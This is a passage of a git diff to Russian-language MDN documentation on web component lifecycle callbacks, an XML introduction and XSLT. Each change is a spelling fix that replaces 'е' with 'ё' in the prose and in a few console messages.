<p><strong>Замечание</strong>: Полный <a href="https://github.com/mdn/web-components-examples/blob/master/expanding-list-web-component/main.js">исходный код на JavaScript</a> доступен здесь.</p> @@ -177,7 +177,7 @@ wrapper.appendChild(info);</pre> <ul> <li><code>connectedCallback</code>: Срабатывает, когда пользовательский элемент впервые добавляется в DOM.</li> <li><code>disconnectedCallback</code>: Срабатывает, когда пользовательский элемент удаляется из DOM.</li> - <li><code>adoptedCallback</code>: Срабатывает, когда пользовательский элемент перемещен в новый документ.</li> + <li><code>adoptedCallback</code>: Срабатывает, когда пользовательский элемент перемещён в новый документ.</li> <li><code>attributeChangedCallback</code>: Срабатывает, когда пользовательскому элементу добавляют, удаляют или изменяют атрибут.</li> </ul> @@ -216,14 +216,14 @@ shadow.appendChild(div);</pre> updateStyle(this); }</pre> -<p>колбэки <code>disconnectedCallback()</code> и <code>adoptedCallback()</code> логируют простые сообщения на консоль, которые уведомляют нас, что элемент удален из DOM или перемещен на другую страницу:</p> +<p>колбэки <code>disconnectedCallback()</code> и <code>adoptedCallback()</code> логируют простые сообщения на консоль, которые уведомляют нас, что элемент удалён из DOM или перемещён на другую страницу:</p> <pre class="brush: js">disconnectedCallback() { console.log('Пользовательский элемент квадрат удален.'); } adoptedCallback() { - console.log('Пользовательский элемент квадрат перемещен на другую страницу.'); + console.log('Пользовательский элемент квадрат перемещён на другую страницу.'); }</pre> <p>Колбэк <code>attributeChangedCallback()</code> запускается когда один из атрибутов элемента меняется. Как видно из его свойств, можно воздействовать на индивидуальные атрибуты, глядя на их имена, и новые и старые значения атрибутов. В данном случае, однако, мы просто снова запускаем функцию <code>updateStyle()</code> чтобы убедиться, что атрибуты квадрата получили новые значения:</p> diff --git a/files/ru/web/xml/xml_introduction/index.html b/files/ru/web/xml/xml_introduction/index.html index ef5b2732a9..f97db1f1cd 100644 --- a/files/ru/web/xml/xml_introduction/index.html +++ b/files/ru/web/xml/xml_introduction/index.html @@ -7,7 +7,7 @@ tags: - XML translation_of: Web/XML/XML_introduction --- -<p><span class="seoSummary">XML - это язык разметки подобный HTML. Расшифровывается как (англ. Extensible Markup Language - Расширяемый Язык Разметки) и является рекомендацией сообщества <a class="external" href="https://www.w3.org">W3C</a> в качестве языка разметки общего назначения (</span><a href="https://www.w3.org/TR/xml/">W3C recommended</a><span class="seoSummary">). В отличии от остальных языков разметки, XML сам по себе не определен (это означает, что вы должны сами определять используемые теги). Основной целью XML является передача данных между разными системами (даже концептуально разными), такими как интернет.</span></p> +<p><span class="seoSummary">XML - это язык разметки подобный HTML. Расшифровывается как (англ. Extensible Markup Language - Расширяемый Язык Разметки) и является рекомендацией сообщества <a class="external" href="https://www.w3.org">W3C</a> в качестве языка разметки общего назначения (</span><a href="https://www.w3.org/TR/xml/">W3C recommended</a><span class="seoSummary">). В отличии от остальных языков разметки, XML сам по себе не определён (это означает, что вы должны сами определять используемые теги). Основной целью XML является передача данных между разными системами (даже концептуально разными), такими как интернет.</span></p> <p>Много языков базируются на XML; Некоторые примеры: <a href="/ru/docs/Словарь/XHTML" title="ru/XHTML">XHTML</a>, <a href="/ru/docs/Web/MathML" title="ru/MathML">MathML</a>, <a href="/ru/docs/Web/SVG" title="ru/SVG">SVG</a>, <a href="/ru/docs/Mozilla/Tech/XUL" title="ru/XUL">XUL</a>, <a href="/en-US/docs/Mozilla/Tech/XBL" title="en/XBL">XBL</a>, <a href="/en-US/docs/Web/RSS" title="en/RSS">RSS</a>, и <a href="/ru/docs/RDF" title="ru/RDF">RDF</a>. Вы можете создать свой.</p> @@ -49,7 +49,7 @@ translation_of: Web/XML/XML_introduction </message> </pre> -<p> Документ содержащий неопределенный тег является не корректным. Например, если мы не определили тег <code><warning></code>, документ не корректен.</p> +<p> Документ содержащий неопределённый тег является не корректным. Например, если мы не определили тег <code><warning></code>, документ не корректен.</p> <div class="note"> <p>В большинство браузеров встроен дебаггер, который может идентифицировать плохо написанный XML документ.</p> @@ -100,7 +100,7 @@ translation_of: Web/XML/XML_introduction <pre><?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE body [ - <!ENTITY warning "Предупреждение: произошла ошибка, обновите и попробуте еще раз."> + <!ENTITY warning "Предупреждение: произошла ошибка, обновите и попробуте ещё раз."> ]> <body> <message> &warning; </message> @@ -123,7 +123,7 @@ translation_of: Web/XML/XML_introduction <h2 id="Recommendations" name="Recommendations">Рекомендации</h2> -<p>Эта статья является очень маленьким введением в XML, с очень маленьким количеством примеров и ссылок для того, чтобы вы могли начать работать с этим языком. Чтобы больше узнать про XML, вам придется искать информацию и более информативные статьи в интернете.</p> +<p>Эта статья является очень маленьким введением в XML, с очень маленьким количеством примеров и ссылок для того, чтобы вы могли начать работать с этим языком. Чтобы больше узнать про XML, вам придётся искать информацию и более информативные статьи в интернете.</p> <p>Изучайте <a href="/ru/docs/Web/HTML" title="ru/HTML">HTML</a> (англ. HyperText Markup Language), знание HTML поможет вам лучше понять XML.</p> diff --git a/files/ru/web/xslt/index.html b/files/ru/web/xslt/index.html index 9c1d10b3d7..a9cab24eb1 100644 --- a/files/ru/web/xslt/index.html +++ b/files/ru/web/xslt/index.html @@ -10,7 +10,7 @@ translation_of: Web/XSLT <p> </p> -<p>Хотя этот процесс называется «преобразованием», исходный документ не изменяется; скорее новый документ XML создается на основе содержимого существующего документа. Затем новый документ может быть сериализован (выведен) процессором в стандартном синтаксисе XML или в другом формате, таком как <a href="/ru/docs/Web/HTML">HTML</a> или простой текст.</p> +<p>Хотя этот процесс называется «преобразованием», исходный документ не изменяется; скорее новый документ XML создаётся на основе содержимого существующего документа. Затем новый документ может быть сериализован (выведен) процессором в стандартном синтаксисе XML или в другом формате, таком как <a href="/ru/docs/Web/HTML">HTML</a> или простой текст.</p> <p>XSLT чаще всего используется для преобразования данных между различными схемами XML или для преобразования данных XML в веб-страницы или документы PDF.</p> |